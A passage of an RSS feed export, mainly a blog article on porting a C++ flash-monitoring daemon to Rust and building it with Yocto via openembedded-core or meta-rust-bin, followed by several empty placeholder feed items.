	&lt;/div&gt;
	&lt;footer&gt;
		Published by feld on 2026-08-22
	&lt;/footer&gt;
	&lt;div&gt;
		&lt;div&gt;
		&lt;/div&gt;
		&lt;div&gt;
			&lt;a href=&quot;https://blog.feld.me/posts/2026/07/macos-edeadlk/&quot;&gt;
				MacOS EDEADLK »
			&lt;/a&gt;
		&lt;/div&gt;
	&lt;/div&gt;
&lt;/main&gt;
        
        &lt;footer&gt;
		
        &lt;/footer&gt;

&lt;/body&gt;</content:encoded>
</item>
<item>
<title>Porting C++ to Rust by example with Yocto – The Good Penguin</title>
<link>https://www.thegoodpenguin.co.uk/blog/porting-c-to-rust-by-example-with-yocto/</link>
<enclosure type="image/jpeg" length="0" url="https://www.thegoodpenguin.co.uk/wp-content/uploads/2026/07/Gemini_Generated_Image_czrublczrublczru.png"></enclosure>
<guid isPermaLink="false">Ln6O8xWhLGt8lG1DPVh4fKdykeK21gR7jhMnpQ==</guid>
<pubDate>Tue, 25 Aug 2026 02:07:28 +0000</pubDate>
<description>Rust is an efficient system level language, in terms of performance it sits somewhere on par with C++ but lower than C. Similar to C++, it offers high level abstractions and types intended to help build system applications. Where Rust excels though is its focus on memory/thread safety and its data ownership model (enforced by …</description>
<content:encoded>&lt;p&gt;&lt;a href=&quot;https://rust-lang.org/&quot;&gt;Rust&lt;/a&gt; is an efficient system level language, in terms of performance it sits somewhere on par with C++ but lower than C. Similar to C++, it offers high level abstractions and types intended to help build system applications. Where Rust excels though is its focus on memory/thread safety and its data ownership model (enforced by its borrow checker at compile time). Alternative memory safe languages exist such as &lt;a href=&quot;https://go.dev/&quot;&gt;Go&lt;/a&gt;, however it has a garbage collector and is probably best suited for tooling and cloud services. Embedded Linux devices are our daily bread and butter here at The Good Penguin so performance of Rust is of interest. There are other languages to keep an eye out for too, for example &lt;a href=&quot;https://ziglang.org/&quot;&gt;Zig&lt;/a&gt;, but the memory safety there is required to be managed manually so it might be prone to the usual mistakes. Also,  Zig’s release has also not reached v1.0 yet.&lt;/p&gt;&lt;p&gt;Rust is a fairly complex language with a lot of features to digest, we have (among others): &lt;a href=&quot;https://doc.rust-lang.org/book/ch03-01-variables-and-mutability.html&quot;&gt;mutable/immutable variables&lt;/a&gt;, &lt;a href=&quot;https://doc.rust-lang.org/book/ch05-00-structs.html&quot;&gt;structs&lt;/a&gt;, &lt;a href=&quot;https://doc.rust-lang.org/book/ch06-00-enums.html&quot;&gt;enums and patterns&lt;/a&gt;, &lt;a href=&quot;https://doc.rust-lang.org/book/ch10-02-traits.html&quot;&gt;traits&lt;/a&gt;, &lt;a href=&quot;https://doc.rust-lang.org/book/ch04-00-understanding-ownership.html)&quot;&gt;ownership&lt;/a&gt;, declarative and procedural &lt;a href=&quot;https://doc.rust-lang.org/book/ch20-05-macros.html&quot;&gt;macros&lt;/a&gt;, &lt;a href=&quot;https://doc.rust-lang.org/book/ch10-03-lifetime-syntax.html&quot;&gt;lifetimes&lt;/a&gt;, &lt;a href=&quot;https://doc.rust-lang.org/book/ch07-00-managing-growing-projects-with-packages-crates-and-modules.html&quot;&gt;cargo crates&lt;/a&gt; and an in-built &lt;a href=&quot;https://doc.rust-lang.org/book/ch11-00-testing.html&quot;&gt;testing framework&lt;/a&gt; inside its &lt;a href=&quot;https://doc.rust-lang.org/rustc/what-is-rustc.html&quot;&gt;compiler&lt;/a&gt;. There is a lot of information required to understand and hold in your head at any point in time to get the full picture of the Rust programming language and to use its features effectively.&lt;/p&gt;&lt;p&gt;Rust is large but one can just start writing code and use the best tool within the rich space of Rust features for the job at hand, as well as use a reference book opened next to your IDE to look up what other open-source projects did facing similar problems. Trying to internalise the whole of Rust in your head wont work well without practice, otherwise the concepts behind it wont be too memorable. At least this is what we have found, which brings us to the actual subject matter, porting a C++ application to Rust.&lt;/p&gt;&lt;p&gt;In 2023 we developed &lt;a href=&quot;https://github.com/The-Good-Penguin/tgp-krill-kounter&quot;&gt;krill-kounter&lt;/a&gt; a C++ daemon for monitoring the health of flash devices, we even gave a &lt;a href=&quot;https://www.youtube.com/watch?v=mxed984GAIw&quot;&gt;talk about it and flash wear&lt;/a&gt; at the &lt;a href=&quot;https://events.linuxfoundation.org/embedded-open-source-summit/&quot;&gt;Embedded Linux Conference in Seattle&lt;/a&gt; in 2024. The daemon reads &lt;a href=&quot;https://www.kernel.org/doc/Documentation/block/stat.txt&quot;&gt;block stats&lt;/a&gt; to provide an accumulated number of bytes written to the device among other statistics and is targeted to run on deeply embedded devices (e.g. industrial in a factory). The daemon seemed like a good enough and simple candidate to see what will happen if we would port it to Rust. &lt;/p&gt;&lt;p&gt;The first step was to look at the existing C++ code base and catalogue all of the objects and data paths to have a model of the architecture and hierarchy – writing code in Rust is different than OOP C++ and so it is helpful to have a block diagram of how the existing application worked and then use that to write the Rust application. &lt;/p&gt;&lt;h5&gt;Dependencies – crates&lt;/h5&gt;&lt;p&gt;Thanks to the many crates that the Rust language provides, we were able to drastically simplify the boilerplate that needed to be written. Thus, using crates and doing it often is the first major change in the programming habit.&lt;/p&gt;&lt;p&gt;For example, data serialization/deserialization to JSON was handled by the &lt;a href=&quot;https://crates.io/crates/serde&quot;&gt;serde&lt;/a&gt; crate  – all we needed to do was to define how this process should be done in the exact same place where the struct was defined in the source code (which we liked):&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-rust&quot;&gt;#[derive(Deserialize, Serialize, Clone, Default, Debug)]
#[serde(rename_all = &amp;quot;camelCase&amp;quot;)]
pub struct DeviceEntry {
    pub first_sithing_date: String,

    #[serde(rename = &amp;quot;path&amp;quot;, skip_serializing)]
    pub previous_path: String,
    #[serde(rename = &amp;quot;path&amp;quot;, skip_deserializing)]
    pub current_path: String,

    #[serde(rename = &amp;quot;stats&amp;quot;)]
    pub stored_stats: BlockStats,

    pub total_bytes_written: u128,
    pub disk_seq: u64,

    // The below entries exist only in memory and are not stored.
    #[serde(skip)]
    pub previous_stats: BlockStats,
    #[serde(skip)]
    pub is_active: bool,
    #[serde(skip)]
    pub serial_number: String,
    #[serde(skip)]
    pub device_name: String,
    #[serde(skip)]
    pub stat_path: String,
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As can be seen above we could handle camel-case-iation of the idiomatic Rust snake case variable naming, skipping items (on read and/or write) and renaming items in a compact and clear way – this was all done manually in our C++ code and it would be disadvantageous to not to use the Rust crate to get the boilerplate out of the way. However, with that approach we found that we have generated more dependencies in our Rust program than we would like and got a bit lazy which resulted in adding even more crates to solve the problems faced.  That is the idiomatic way – to use the crates – but this approach could potentially lead to a supply chain attack – the type of npm is well known for. &lt;/p&gt;&lt;p&gt;This aspect needs extra care and consideration when writing Rust – one should check the crates being used and make sure they are in active development. It is useful to go and investigate the crate repositories and establish some sort of chain of trust. There are existing tools to aid you with the crate auditing and checking for existing vulnerabilities within your dependency chain like &lt;a href=&quot;https://github.com/rustsec/rustsec&quot;&gt;cargo-audit&lt;/a&gt;  or the &lt;a href=&quot;https://github.com/google/osv-scanner/&quot;&gt;osv-scanner&lt;/a&gt;  (driven by the&lt;a href=&quot;https://rustsec.org/&quot;&gt; RustSec Advisory Database&lt;/a&gt;). One can also use tools like &lt;a href=&quot;https://github.com/crev-dev/cargo-crev&quot;&gt;cargo-crev&lt;/a&gt; which is a database of distributed peer code reviews of various crates – you can read more in-depth about the subject &lt;a href=&quot;https://davidlattimore.github.io/posts/2023/10/09/making-supply-chain-attacks-harder.html&quot;&gt;in a blog here&lt;/a&gt;. One can also use &lt;a href=&quot;https://crates.io/crates/cargo-modules&quot;&gt;cargo-modules&lt;/a&gt; to visualise a crate’s internal structure or display the dependency tree with &lt;a href=&quot;https://doc.rust-lang.org/cargo/commands/cargo-tree.html&quot;&gt;cargo tree&lt;/a&gt;, which we have found very useful. &lt;/p&gt;&lt;p&gt;Lastly, you should also read the documentation of the crates carefully to avoid miss-using them and also limit the amount of &lt;a href=&quot;https://doc.rust-lang.org/cargo/reference/features.html&quot;&gt;features&lt;/a&gt; that are pulled in into your application to reduce the bloat (and potentially an attack surface) – you can use &lt;a href=&quot;https://crates.io/crates/cargo-bloat&quot;&gt;cargo-bloat &lt;/a&gt;for this.  We shall now give examples on how to use these audit tools below, it is usually a one-liner that could easily be a part of your CI job :&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# cargo-crev
$ cargo install cargo-crev
$ cargo crev trust --level high https://github.com/dpc/crev-proofs
$ cargo crev repo fetch all
$ cargo crev verify --show-all

# cargo-audit
$ cargo install cargo-audit
$ cargo audit
Fetching advisory database from https://github.com/RustSec/advisory-db.git       Loaded 1160 security advisories (from /home/user/.cargo/advisory-db)
     Updating crates.io index
     Scanning Cargo.lock for vulnerabilities (98 crate dependencies)

# cargo-modules
cargo install cargo-modules
# display structure tree of the crate
cargo modules structure --lib
# display dependency graph (and store in SVG for viewing)
cargo modules dependencies --lib | dot -Tsvg &amp;gt; deps.svg&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In summary, we had 12 explicit dependencies found in our  &lt;a href=&quot;https://github.com/The-Good-Penguin/krill-kounter-rs/blob/pz/tests-and-tasks/Cargo.toml&quot;&gt;Cargo.toml&lt;/a&gt;, but these crates themselves had their own dependencies so the actual number was up to 98. In comparison the &lt;a href=&quot;https://github.com/The-Good-Penguin/tgp-krill-kounter/blob/main/CMakeLists.txt&quot;&gt;Cmakelists&lt;/a&gt; for our C++ project had only 4 dependencies – we could reduce the number of dependencies in Rust by dropping all the crates of course and implement everything from scratch – but that is probably not the most efficient way to use the language. &lt;/p&gt;&lt;h5&gt;Binaries and linking&lt;/h5&gt;&lt;p&gt;The Rust crates are linked in statically by default (however &lt;a href=&quot;https://doc.rust-lang.org/reference/linkage.html&quot;&gt;dynamically linked crates are also supported&lt;/a&gt;). On the other hand, in C++ the dependencies are resolved at runtime by the dynamic linker. This translated directly into the release binary size: the C++ application was just 232 kB, but it needs other .so objects to exist on the disk that also have their size (but are reusable between different applications).  The Rust application binary was 2.0MB so it is larger,  but it had minimal runtime dependencies. This can be seen in the output from a ‘readelf -d’:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Rust krill-kounter
0x0000000000000001 (NEEDED)             Shared library: [libgcc_s.so.1]
0x0000000000000001 (NEEDED)             Shared library: [libm.so.6]
0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]

# C++ krill-kounter
0x0000000000000001 (NEEDED)             Shared library: [libglib-2.0.so.0]
0x0000000000000001 (NEEDED)             Shared library: [libkrillkounter.so.0]
0x0000000000000001 (NEEDED)             Shared library: [libstdc++.so.6]
0x0000000000000001 (NEEDED)             Shared library: [libm.so.6]
0x0000000000000001 (NEEDED)             Shared library: [libgcc_s.so.1]
0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;One thing we have also noted is that in the Rust binary we had a lot more relative relocations of type R_X86_64_RELATIVE  (around 30 times more) as show by running ‘readelf -r’ and counting the relocation types (we note that we had to add ‘-fno-plt’ and eager binding to our C++ compile time options to match closer the rest of relocation types with the Rust app to reduce the diff). These are offsets (known as addends) into the binary itself relative to its actual base address – which is not known at compile time and so the address is resolved at runtime – but the relative offsets required are known by the compiler. This is due to how the Rust application itself was compiled – its crates are statically linked into a &lt;a href=&quot;https://www.redhat.com/en/blog/position-independent-executables-pie&quot;&gt;PIE &lt;/a&gt;binary and so the code has more pointers to local data and functions – and also these relocations are inferred by the features of the language itself that we have used in the code.&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Rust krill-kounter
    1482 R_X86_64_RELATIVE
     126 R_X86_64_GLOB_DAT
       2 Type
       2 R_X86_64_JUMP_SLO
       2 
       1 &amp;#39;.rela.plt&amp;#39;
       1 &amp;#39;.rela.dyn&amp;#39;

# C++ krill-kounter
     115 R_X86_64_GLOB_DAT
      45 R_X86_64_RELATIVE
      13 R_X86_64_64
       8 R_X86_64_COPY
       2 Type
       2 R_X86_64_JUMP_SLO
       2 
       1 &amp;#39;.rela.plt&amp;#39;
       1 &amp;#39;.rela.dyn&amp;#39;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Indeed if we look up to see to what these references resolve to in the output binary then we discover that nearly half of them are associated with trait object &lt;a href=&quot;https://en.wikipedia.org/wiki/Virtual_method_table&quot;&gt;vtables&lt;/a&gt; – so these are effectively function pointers. The trait is an implementation of a generic interface for multiple object types and multiple objects can implement multiple traits, or otherwise one of the ways polymorphism is handled in the Rust language. Traits were inspired by &lt;a href=&quot;https://www.haskell.org/&quot;&gt;Haskell’s &lt;/a&gt;typeclasses and the other way to do polymorphism in Rust are &lt;a href=&quot;https://doc.rust-lang.org/book/ch10-01-syntax.html&quot;&gt;generics&lt;/a&gt;. The trait type can be known or unknown at compile time which results in either &lt;a href=&quot;https://softwaremill.com/rust-static-vs-dynamic-dispatch/&quot;&gt;static or dynamic dispatch&lt;/a&gt;. When the dispatch is static the code can be inlined as we know the exact code to execute, when it is dynamic we need two pointers: data pointer to the object itself and a pointer to its vtable that contains function pointers for the object’s implementation of the trait (these two pointers wrapped in a fat pointer is a trait object). We use traits in our code mostly for printing logs and handling of errors which is aided by the &lt;a href=&quot;https://crates.io/crates/anyhow&quot;&gt;anyhow&lt;/a&gt; crate. Some of these R_X86_64_RELATIVE relocations are used by the trait &lt;a href=&quot;https://doc.rust-lang.org/rust-by-example/trait/drop.html&quot;&gt;Drop &lt;/a&gt;– created for dropping objects when they go out of scope – as each object will have its own destruct routine. The other half of the relocations seems to indicate references to other data structures used in the code like strings for example.&lt;/p&gt;&lt;h5&gt;Code structure&lt;/h5&gt;&lt;p&gt;The next thing we noted was that the code structure was closer to something we would get from a C code base than from C++ i.e. we ended up with structs processed in modules as opposed to packing all of the functionality inside object method themselves. The main classes in C++ were: JSON parser/writer, statistics computer and statistics reader, on the other hand in Rust we have ended up with: block, device, config and daemon modules/structs – which is much  more logical and clearly representing the actual data flow. What we have liked in particular is wrapping function return values in the&lt;a href=&quot;https://doc.rust-lang.org/std/result/&quot;&gt; Result&lt;/a&gt; type to aid error branch handling (using the already mentioned anyhow crate for convenience while we are at it) – which saves a lot of if/else type of code to validate values when writing C because the checks are simply replaced with a &lt;a href=&quot;https://doc.rust-lang.org/book/ch09-02-recoverable-errors-with-result.html#a-shortcut-for-propagating-errors-the--operator&quot;&gt;‘?’ try operator&lt;/a&gt; in the code and the compiler does the rest. &lt;/p&gt;&lt;p&gt;So yes, Rust made us write better and cleaner code as we had to think about the flow of data a bit more (due to the ownership model) and the code actually felt more familiar to a C code base than C with classes, that is minus the boilerplate you would have to write and debug in C which is a bonus in our book. Yes – the syntax was awkward at the beginning but it makes sense after some actual legwork and actual typing. &lt;/p&gt;&lt;h5&gt;Testing&lt;/h5&gt;&lt;p&gt;The next aspect was testing which is provided by the rustc compiler – therefore we tried to write the application with testing in mind from day one. The workflow was to write a module, then a test rig for it and at the end write a test harness to simulate operation of the whole daemon. This has proven to be very useful and somewhat refreshing approach as it can give the developers more confidence into the code that they are writing – you shall know that a change made in a few months wont break something that was done a year ago – which is priceless. We do a lot of CI test workflows for whole Yocto distributions but doing that for a single application to a great level of detail is not that common. Thanks to this approach we have found bugs during development even before whole of the application was ready. However it is worth noticing that this can increase the development time.&lt;/p&gt;&lt;h5&gt;Linting and docs&lt;/h5&gt;&lt;p&gt;The last thing on the list we should talk about is &lt;a href=&quot;https://github.com/rust-lang/rust-clippy&quot;&gt;clippy&lt;/a&gt; – the Rust linting tool that finds all 101 type of mistakes. Once we have finished all of our coding we did run clippy in pedantic mode on our source code – it found hundreds of issues that could have be done better and in more idiomatic way – in retrospective we should have used it as an integral part of the development workflow. That tool also forced us to document the source code accordingly, we just run it in the CI now. Another useful tool is &lt;a href=&quot;https://github.com/rust-lang/rustfmt&quot;&gt;rustfmt&lt;/a&gt; – replacing the .&lt;a href=&quot;https://clang.llvm.org/docs/ClangFormat.html&quot;&gt;clang-format&lt;/a&gt; in the C realm and &lt;a href=&quot;https://doc.rust-lang.org/cargo/commands/cargo-doc.html&quot;&gt;cargo-doc&lt;/a&gt; – which will generate documentation that one can put on the web. &lt;/p&gt;&lt;p&gt;So to summarize, in our case, apart form the memory safety, Rust comes with a lot of useful tools that can aid your workflow and speed up the development process and will force you to write cleaner, testable and documented code. The price to pay is that one has to be careful with the dependency trees as literally anything is available to link in to your crate via cargo without any duct taping work required, one will have to accept larger binaries and slower compilation times (on top of the steep learning curve). &lt;/p&gt;&lt;h4&gt;Rust in Yocto: openembedded-core vs meta-rust-bin&lt;/h4&gt;&lt;p&gt;With the application port and testing done, we then explored the ways of integrating the Rust application into a &lt;a href=&quot;https://www.yoctoproject.org/&quot;&gt;Yocto&lt;/a&gt; OE image, the current way of integrating Rust is to use &lt;a href=&quot;https://github.com/openembedded/openembedded-core&quot;&gt;openembedded-core&lt;/a&gt; layer or to use the &lt;a href=&quot;https://github.com/rust-embedded/meta-rust-bin&quot;&gt;meta-rust-bin&lt;/a&gt; layer, we shall evaluate working with both below. For the record, in the past we would have used &lt;a href=&quot;https://github.com/meta-rust/meta-rust&quot;&gt;meta-rust &lt;/a&gt;– but parts of it were merged into openembedded-core. You can also read more on that matter and history of Rust support in Yocto in the great article from our friends at &lt;a href=&quot;https://interrupt.memfault.com/blog/rust-in-yocto&quot;&gt;Memfault&lt;/a&gt;.&lt;/p&gt;&lt;h5&gt;openembedded-core&lt;/h5&gt;&lt;p&gt;This layer builds whole of Rust tool-chain: cargo, rustc and std and other libraries from scratch, so it is optimized for the target hardware. The problem is that the rust version is tied to the Yocto version itself, so it might be out of date compared to upstream Rust. We also manage dependencies manually – you will know exactly what is being pulled in. Luckily we can just use bitbake directly to populate the Rust crate dependencies and store them in an include file that is then pulled in the actual bitbake recipe i.e. running:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;bitbake -c update_crates krillkounter-rs&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This will generate a krillkounter-rs-crates.inc file that shall append the SRC_URI with all of the dependencies in it, then we have to require that file in our bitbake recipe (for this to work we need to inherit the &lt;a href=&quot;https://github.com/openembedded/openembedded-core/blob/master/meta/classes-recipe/cargo-update-recipe-crates.bbclass&quot;&gt;cargo-update-recipe-crates&lt;/a&gt; class that shall add do_update_crates task to your recipe’s task list), so our recipe looks like this:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-rust&quot;&gt;inherit cargo cargo-update-recipe-crates systemd

DESCRIPTION = &amp;quot;Krillkounter-rs&amp;quot;
HOMEPAGE = &amp;quot;github.com/The-Good-Penguin/krill-kounter-rs&amp;quot;
LICENSE = &amp;quot;MIT&amp;quot;
LIC_FILES_CHKSUM = &amp;quot;file://LICENSE;md5=bcb3ac6803f69378f6a200eeddfa331a&amp;quot;

SRC_URI = &amp;quot;git://github.com/The-Good-Penguin/krill-kounter-rs.git;protocol=https;nobranch=1&amp;quot;

require krillkounter-rs-crates.inc

SRCREV = &amp;quot;be6aa88a1d6eca084eed6493fa3de17628b47559&amp;quot;
S = &amp;quot;${WORKDIR}/git&amp;quot;

SYSTEMD_SERVICE:${PN} = &amp;quot;krill-kounter-rs.service&amp;quot;

do_install:append () {
    install -d ${D}${systemd_unitdir}/system
    install -m 0644 ${S}/install/service/krill-kounter-rs.service ${D}${systemd_unitdir}/system
}

FILES:${PN} += &amp;quot;${systemd_unitdir}/system&amp;quot;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The above process is a bit manual, also the rust version found in openembedded-core at the scarthgap branch is at v1.75 while upstream is at v1.97.1. Since we have built the application with Rust &lt;a href=&quot;https://doc.rust-lang.org/edition-guide/editions/&quot;&gt;edition&lt;/a&gt; 2024 – we had to explore updating the Rust version found in openebedded-core – which was done with the use of the layer &lt;a href=&quot;https://git.yoctoproject.org/meta-lts-mixins&quot;&gt;meta-lts-mixins&lt;/a&gt;. This layer allowed to up the Rust version to v1.92 which was supporting the matching 2024 edition and with that in place our application did build. We also had to inherit the &lt;a href=&quot;https://github.com/openembedded/openembedded-core/blob/master/meta/classes-recipe/cargo.bbclass&quot;&gt;cargo &lt;/a&gt;class which will deal with boot strapping the cross compiler variables for the Rust toolchain and deal with matching the target hardware with a correct LLVM config and issue a cargo build. The crates are downloaded locally first into the ${WORKDIR}/cargo_home/bitbake during do_fetch and then this folder is used as the source of all crates during the build step. Interestingly since LLVM 18 the i128 variable is aligned to 16-byte boundary on x86 systems as seen in this &lt;a href=&quot;https://github.com/rust-lang/rust/pull/116672&quot;&gt;PR&lt;/a&gt;.  In practice it means that Rust &amp;lt; v1.77 might run into build errors with LLVM 18+ without some back-porting of patches, as we have discovered ourselves by experimenting: the ABI and &lt;a href=&quot;https://github.com/rust-lang/rust/blob/1.75.0/compiler/rustc_target/src/spec/targets/x86_64_unknown_linux_gnu.rs#L22&quot;&gt;data_layout&lt;/a&gt; were not matching and we hit a &lt;a href=&quot;https://github.com/rust-lang/rust/blob/1.75.0/compiler/rustc_ast/src/ast.rs#L3163&quot;&gt;static assert in the rust_ast&lt;/a&gt;. In theory you should not run into this as rustc source does include a matching &lt;a href=&quot;https://github.com/rust-lang/llvm-project/tree/52ed14fcd56afc30f9cccd8ca8ce237c2eef7e04&quot;&gt;LLVM as a git module&lt;/a&gt; that is used by default – you can read more about this &lt;a href=&quot;https://blog.rust-lang.org/2024/03/30/i128-layout-update/&quot;&gt;here&lt;/a&gt;. &lt;/p&gt;&lt;h5&gt;meta-rust-bin&lt;/h5&gt;&lt;p&gt;This layer is using pre-built binaries of the compiler and standard libraries from upstream of the Rust tool-chain – thus it might not be fully optimised for the target hardware that you will be using. The advantage though, is easy interoperability between Yocto versions. As we do not build any Rust binaries using Yocto backends, for the most part we are independent of the Yocto version (except the bitbake syntax of course). Another win are easy updates of the Rust version itself without resolving to external duct taping layers. The other convenience is that you do not have to manage the dependencies manually and check them out locally first as this will be just done by cargo. Therefore our Yocto recipe for integrating krillkounter to the build looks like this:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;inherit cargo_bin systemd

DESCRIPTION = &amp;quot;Krillkounter-rs&amp;quot;
HOMEPAGE = &amp;quot;github.com/The-Good-Penguin/krill-kounter-rs&amp;quot;
LICENSE = &amp;quot;MIT&amp;quot;
LIC_FILES_CHKSUM = &amp;quot;file://LICENSE;md5=bcb3ac6803f69378f6a200eeddfa331a&amp;quot;

SRC_URI = &amp;quot;git://github.com/The-Good-Penguin/krill-kounter-rs.git;protocol=https;nobranch=1&amp;quot;
SRCREV = &amp;quot;f03ea717c104d1808bff771501999f01b9fde052&amp;quot;
S = &amp;quot;${WORKDIR}/git&amp;quot;

SYSTEMD_SERVICE:${PN} = &amp;quot;krill-kounter-rs.service&amp;quot;

# Enable network for the compile task allowing cargo to download dependencies
do_compile[network] = &amp;quot;1&amp;quot;

do_install:append () {
    install -d ${D}${systemd_unitdir}/system
    install -m 0644 ${S}/install/service/krill-kounter-rs.service ${D}${systemd_unitdir}/system
}

FILES:${PN} += &amp;quot;${systemd_unitdir}/system&amp;quot;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And that is all that there was too it, the recipe needs to inherit the &lt;a href=&quot;https://github.com/rust-embedded/meta-rust-bin/blob/master/classes/cargo_bin.bbclass&quot;&gt;cargo_bin&lt;/a&gt; class that will pull in the cross tool chain by appending your recipe’s DEPENDS variable, then create wrapper scripts required for expanding compiler/linker flags for cargo/rustc (similarly to openembedded-core layer) and finally just issue a cargo build command.&lt;/p&gt;&lt;h4&gt;Conclusions&lt;/h4&gt;&lt;p&gt;Using the memory safety that comes with Rust is not for free: one should take care about scrutinising the dependencies (which is really true for any language). However, it is easier to have latent dependencies in Rust as in theory any crate can be pulled in via cargo that could lead to a supply chain attack. The other aspect is the binary size due to the default static linking of the crates dependencies – lack of space is usually not a problem on embedded Linux machines nowadays and this might only be an issue for large code-bases. Though one could in theory then do more work to switch to dynamically linking some of the most commonly re-used crates. Lastly, the effort of writing Rust code has overheads due to the testing that usually goes with it – of course you could skip that bit, but perhaps that is bad practice. Regarding the coding experience itself, we have enjoyed writing Rust, hope to write more. We found the integration with Yocto at the time of writing to be very good with two main choices – with meta-rust-bin being the clear winner for a zero effort solution and rapid bring up – whereas we found the openembedded-core approach requires a bit more work but provides more explicit control over its dependencies. It’s also better optimised for the target hardware. &lt;/p&gt;&lt;p&gt;Please contact us if you would like us to assist you with your Linux Rust projects !&lt;/p&gt;</content:encoded>
</item>
<item>
<title>x</title>
<link>https://www.noobunbox.net/linux/x-7</link>
<guid isPermaLink="false">in--limbFCIsDpI4uuL0iVjn2qaqeahGy4mhVw==</guid>
<pubDate>Tue, 25 Aug 2026 01:24:18 +0000</pubDate>
<description>x Cet article x est apparu en premier sur Noobunbox.</description>
<content:encoded>&lt;blockquote&gt;&lt;p&gt;&lt;a href=&quot;https://www.noobunbox.net/linux/x-6&quot;&gt;x&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Cet article &lt;a href=&quot;https://www.noobunbox.net/linux/x-7&quot;&gt;x&lt;/a&gt; est apparu en premier sur &lt;a href=&quot;https://www.noobunbox.net&quot;&gt;Noobunbox&lt;/a&gt;.&lt;/p&gt;</content:encoded>
</item>
<item>
<title>x</title>
<link>https://www.noobunbox.net/linux/x-6</link>
<guid isPermaLink="false">NuvzOB8ldm8uFbYKiVgEls7BzzIfYFFXlXLwNg==</guid>
<pubDate>Tue, 25 Aug 2026 01:24:18 +0000</pubDate>
<description>cache Cet article x est apparu en premier sur Noobunbox.</description>
<content:encoded>&lt;blockquote&gt;&lt;p&gt;&lt;a href=&quot;https://www.noobunbox.net/linux/cache-6&quot;&gt;cache&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Cet article &lt;a href=&quot;https://www.noobunbox.net/linux/x-6&quot;&gt;x&lt;/a&gt; est apparu en premier sur &lt;a href=&quot;https://www.noobunbox.net&quot;&gt;Noobunbox&lt;/a&gt;.&lt;/p&gt;</content:encoded>
</item>
<item>
<title>cache</title>
<link>https://www.noobunbox.net/linux/cache-6</link>
<guid isPermaLink="false">na3PKKbLsnBreTizZA_173_yE2k5sxTIVlZ41Q==</guid>
<pubDate>Tue, 25 Aug 2026 01:24:18 +0000</pubDate>
<description>cache Cet article cache est apparu en premier sur Noobunbox.</description>
<content:encoded>&lt;blockquote&gt;&lt;p&gt;&lt;a href=&quot;https://www.noobunbox.net/linux/cache-5&quot;&gt;cache&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Cet article &lt;a href=&quot;https://www.noobunbox.net/linux/cache-6&quot;&gt;cache&lt;/a&gt; est apparu en premier sur &lt;a href=&quot;https://www.noobunbox.net&quot;&gt;Noobunbox&lt;/a&gt;.&lt;/p&gt;</content:encoded>
</item>
<item>
<title>cache</title>
<link>https://www.noobunbox.net/linux/cache-5</link>
<guid isPermaLink="false">XhijRN4QnuXECXS1Yu5MvQ4fAruonZW8uOBd7A==</guid>
<pubDate>Tue, 25 Aug 2026 01:24:18 +0000</pubDate>
<description>x Cet article cache est apparu en premier sur Noobunbox.</description>
<content:encoded>&lt;blockquote&gt;&lt;p&gt;&lt;a href=&quot;https://www.noobunbox.net/linux/x-5&quot;&gt;x&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Cet article &lt;a href=&quot;https://www.noobunbox.net/linux/cache-5&quot;&gt;cache&lt;/a&gt; est apparu en premier sur &lt;a href=&quot;https://www.noobunbox.net&quot;&gt;Noobunbox&lt;/a&gt;.&lt;/p&gt;</content:encoded>
</item>
<item>
<title>x</title>
<link>https://www.noobunbox.net/linux/x-5</link>
<guid isPermaLink="false">kzZrKJ3ZQB40lF6KRMxnsNE1Ybxi1bXWb-iERg==</guid>
<pubDate>Tue, 25 Aug 2026 01:24:18 +0000</pubDate>
<description>cache Cet article x est apparu en premier sur Noobunbox.</description>
<content:encoded>&lt;blockquote&gt;&lt;p&gt;&lt;a href=&quot;https://www.noobunbox.net/linux/cache-4&quot;&gt;cache&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Cet article &lt;a href=&quot;https://www.noobunbox.net/linux/x-5&quot;&gt;x&lt;/a&gt; est apparu en premier sur &lt;a href=&quot;https://www.noobunbox.net&quot;&gt;Noobunbox&lt;/a&gt;.&lt;/p&gt;</content:encoded>
</item>
<item>
<title>cache</title>
<link>https://www.noobunbox.net/linux/cache-4</link>
<guid isPermaLink="false">BFHl535oH527paONPBYuWKol7FUyRylTSisBUw==</guid>
<pubDate>Tue, 25 Aug 2026 01:24:18 +0000</pubDate>
<description>x Cet article cache est apparu en premier sur Noobunbox.</description>
<content:encoded>&lt;blockquote&gt;&lt;p&gt;&lt;a href=&quot;https://www.noobunbox.net/linux/x-4&quot;&gt;x&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Cet article &lt;a href=&quot;https://www.noobunbox.net/linux/cache-4&quot;&gt;cache&lt;/a&gt; est apparu en premier sur &lt;a href=&quot;https://www.noobunbox.net&quot;&gt;Noobunbox&lt;/a&gt;.&lt;/p&gt;</content:encoded>
</item>
<item>
<title>x</title>
<link>https://www.noobunbox.net/linux/x-4</link>
<guid isPermaLink="false">rKD0SI5qLo9agzr2zsP-C6_xBSwG73Ue_9UzRw==</guid>
<pubDate>Tue, 25 Aug 2026 01:24:18 +0000</pubDate>
<description>cache Cet article x est apparu en premier sur Noobunbox.</description>
